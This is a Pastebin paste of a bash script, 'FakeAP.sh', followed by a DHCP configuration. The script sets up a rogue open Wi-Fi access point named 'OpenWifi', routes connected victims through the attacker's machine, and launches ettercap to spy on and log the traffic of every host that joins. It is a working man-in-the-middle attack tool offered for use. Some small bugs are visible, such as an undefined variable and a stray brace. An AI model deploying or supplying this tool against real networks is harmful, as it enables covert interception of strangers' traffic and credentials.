Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ### inicio
- #
- # [ FakeAP.sh - Capture data over MitM ]
- # Author: pedr0 Ubuntu [r00t-3xp10it]
- # peterubuntu10[at]sourceforge[dot]net
- # ---
- # Required: 'aircrack-ng' 'airbase-ng' 'DHCP' 'ettercap-ng'
- # 'iptables' 'zenity' and 'netool toolkit' installed...
- # ---
- # This script was build to be one module of netool toolkit V4.5
- # but we can use it without the toolkit, if we config the variable
- # 'LOGS_PATH' to another folder were to store ettercap logs.
- # ---
- # HOW TO:
- # chmod +x FakeAP.sh
- # sudo ./FakeAP.sh start
- # sudo ./FakeAP.sh stop
- #
- ###
- # ----------------------------------------
- # Variable declarations
- ########################################################################
- H0m3=`echo ~` # grab home path #
- AIR_INSTALL=`which aircrack-ng` # check aircrack install #
- LOGS_PATH="$H0m3/opensource/logs" # toolkit logs folder #
- DEFAULT_INTERFACE="wlan0" # default interface #
- FAKE_AP_INTERFACE="wlan1" # fake AP interface to use #
- FAKE_AP_CHANNEL=6 # fake AP channel to use #
- FAKE_AP_SSID="OpenWifi" # fake AP SSID display #
- DHCPD_CONF_FILE="/etc/dhcp/dhcpd_ap.conf" # DHCP conf file path #
- ########################################################################
- # ----------------------------------------
- # Colorise shell Script output leters
- # ----------------------------------------
- Colors() {
- Escape="\033";
- white="${Escape}[0m";
- RedF="${Escape}[31m";
- GreenF="${Escape}[32m";
- YellowF="${Escape}[33m";
- BlueF="${Escape}[34m";
- CyanF="${Escape}[36m";
- Reset="${Escape}[0m";
- }
- Colors;
- # -------------------------------------
- # Stop FakeAP module and clean settings
- # -------------------------------------
- if [ "$1" == "stop" ]; then
- cat << !
- ███████╗ █████╗ ██╗ ██╗███████╗ █████╗ ██████╗
- ██╔════╝██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗
- █████╗ ███████║█████╔╝ █████╗ ███████║██████╔╝
- ██╔══╝ ██╔══██║██╔═██╗ ██╔══╝ ██╔══██║██╔═══╝
- ██║ ██║ ██║██║ ██╗███████╗██║ ██║██║
- ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
- !
- echo ${BlueF}[+]::[ Killing Airbase-ng ]...${Reset};
- pkill airbase-ng && sleep 3
- echo ${BlueF}[+]::[ Killing DHCP server ]...${Reset};
- pkill dhcpd && rm /var/run/dhcpd.pid && sleep 3
- echo ${BlueF}[+]::[ Flushing iptables ]...${Reset};
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- echo ${BlueF}[+]::[ Kill ettercap-ng ]...${Reset};
- killall -9 ettercap
- echo ${BlueF}[+]::[ disabling IP Forwarding ]...${Reset};
- echo "0" > /proc/sys/net/ipv4/ip_forward
- echo ${BlueF}[+]::[ Stop monitor mode:${GreenF} mon0 ${BlueF}]...${Reset};
- airmon-ng stop mon0
- exit
- Colors;
- # ----------------------------------
- # check for aircrack-ng installation
- # ----------------------------------
- elif [ "$1" == "start" ]; then
- cat << !
- ███████╗ █████╗ ██╗ ██╗███████╗ █████╗ ██████╗
- ██╔════╝██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗
- █████╗ ███████║█████╔╝ █████╗ ███████║██████╔╝
- ██╔══╝ ██╔══██║██╔═██╗ ██╔══╝ ██╔══██║██╔═══╝
- ██║ ██║ ██║██║ ██╗███████╗██║ ██║██║
- ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
- !
- if [ -e $AIR_PATH ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[aircrack-ng]${RedF}::${GreenF}[ Installation found ]${Reset};
- else
- echo ${RedF}[x]::${BlueF}[aircrack-ng]${RedF}::${BlueF}[${RedF} Not found ${BlueF}]${Reset};
- echo ${BlueF}[*]${RedF}::${BlueF}[please wait]${RedF}::${BlueF}[${GreenF} Downloading ${BlueF}]...${Reset};
- sudo apt-get install aircrack-ng
- clear
- fi
- # ----------------------------------------------
- # Config FakeAP, and start attack using ettercap
- # ----------------------------------------------
- # configuring airmon-ng and airbase-ng
- echo ${BlueF}[+]::[${GreenF} FakeAP module running ${BlueF]...${Reset};
- echo ${BlueF}[+]::[ Putting network card in monitor mode ]${Reset};
- airmon-ng start $FAKE_AP_INTERFACE
- sleep 5
- echo ${BlueF}[+]::[ Starting Fake AP... ]${Reset};
- airbase-ng -e "$FAKE_AP_SSID" -c $FAKE_AP_CHANNEL mon0 &
- sleep 5
- # configuring interface, adding route, config iptables
- echo ${BlueF}[+]::[ Configuring interface at0 according to dhcpd config ]...${Reset};
- ifconfig at0 up
- ifconfig at0 192.168.3.1 netmask 255.255.255.0
- echo ${BlueF}[+]::[ Adding a route ]...${Reset};
- route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
- sleep 5
- echo ${BlueF}[+]::[ configuring iptables ]...${Reset};
- iptables -P FORWARD ACCEPT
- iptables -t nat -A POSTROUTING -o $DEFAULT_INTERFACE -j MASQUERADE
- echo ${BlueF}[+]::[ clearing lease table ]...${Reset};
- echo > '/var/lib/dhcp/dhcpd.leases'
- # start DHCP, enable ip forward, run ettercap (MitM)
- cp ./dhcpd.conf $DHCPD_CONF_FILE
- echo ${BlueF}[+]::[ starting new DHCPD server ]...${Reset};
- ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
- dhcpd -d -f -cf "$DHCPD_CONF_FILE" at0 &
- sleep 5
- echo ${BlueF}[+]::[ Enable IP Forwarding ]...${Reset};
- echo "1" > /proc/sys/net/ipv4/ip_forward
- sleep 3
- # run ettercap MitM attack
- echo ${BlueF}[+]::[ Launching ettercap, spy all hosts on the at0 interface subnet ]...${Reset};
- xterm -T "FakeAP+ettercap" -fg blue -e ettercap --silent -T -Q -p --log-msg ${LOGS_PATH}/ettercap.log -i at0 // // &
- zenity --info --title="FakeAP logfiles" --text "stored under: ${LOGS_PATH}/ettercap.log" --width 300 > /dev/null 2>&1
- exit
- else
- # invalid flag enter
- cat << !
- ███████╗ █████╗ ██╗ ██╗███████╗ █████╗ ██████╗
- ██╔════╝██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗
- █████╗ ███████║█████╔╝ █████╗ ███████║██████╔╝
- ██╔══╝ ██╔══██║██╔═██╗ ██╔══╝ ██╔══██║██╔═══╝
- ██║ ██║ ██║██║ ██╗███████╗██║ ██║██║
- ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
- !
- echo ${RedF}[x]::[usage:${GreenF} sudo ./FakeAP.sh stop|start ]${Reset};
- exit
- fi
- }
- ###
- #
- # -- DHCP configuration file --
- # The next code describes the content of the DHCPS configuration file. This file
- # must be called dhcpd.conf and must be located next to the FakeAP.sh script.
- # When the FakeAP is started the DHCP file will be copied to /etc/dhcp/dhcpd_ap.conf.
- #
- ###
- # using google dns servers
- option domain-name-servers 8.8.8.8, 8.8.4.4;
- default-lease-time 600;
- max-lease-time 7200;
- option T150 code 150 = string;
- deny client-updates;
- one-lease-per-client false;
- allow bootp;
- ddns-updates off;
- ddns-update-style none;
- authoritative;
- # option particular to the Rogue AP network
- subnet 192.168.3.0 netmask 255.255.255.0 {
- interface at0;
- range 192.168.3.2 192.168.3.254;
- option routers 192.168.3.1;
- option subnet-mask 255.255.255.0;
- option broadcast-address 192.168.3.255;
- option domain-name-servers 8.8.8.8;
- allow unknown-clients;
Advertisement
Add Comment
Please, Sign In to add comment